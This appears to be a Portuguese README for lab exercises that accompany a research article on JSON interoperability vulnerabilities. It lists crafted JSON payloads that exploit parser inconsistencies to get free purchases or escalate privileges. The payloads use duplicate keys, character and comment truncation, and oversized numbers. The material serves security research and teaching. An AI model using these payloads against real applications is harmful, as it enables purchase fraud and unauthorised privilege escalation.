
Laboratórios complementares de "Uma Exploração de Vulnerabilidades de Interoperabilidade JSON"
Estes são os laboratórios complementares ao meu artigo de pesquisa "Uma Exploração das Vulnerabilidades de Interoperabilidade JSON".
Lab 1: Compras gratuitas numa Aplicação de Comércio Eletrónico
Lab 2: Escalação de Privilégios numa Aplicação Multi-inquilino
Por padrão, estes laboratórios vinculam-se às portas 5000-5004 do host.
Precedência Inconsistente de Chaves Duplicadas
{"qty": 1, "qty": -1}
Truncamento de Caracteres
Truncamento em analisadores de precedência da última chave (inverta a ordem para precedência da primeira chave)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
Truncamento de Comentários
Estes documentos tiram proveito do suporte inconsistente de comentários e do suporte a strings sem aspas:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
Decodificação Inconsistente de Números Grandes
Estes grandes valores numéricos podem ser convertidos em strings (por exemplo, "+Infinity"), o que pode levar a vulnerabilidades de type-juggling. Ou podem ser convertidos para MAX_INT/MIN_INT, valores arredondados ou 0, o que pode permitir contornar a lógica de negócio.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble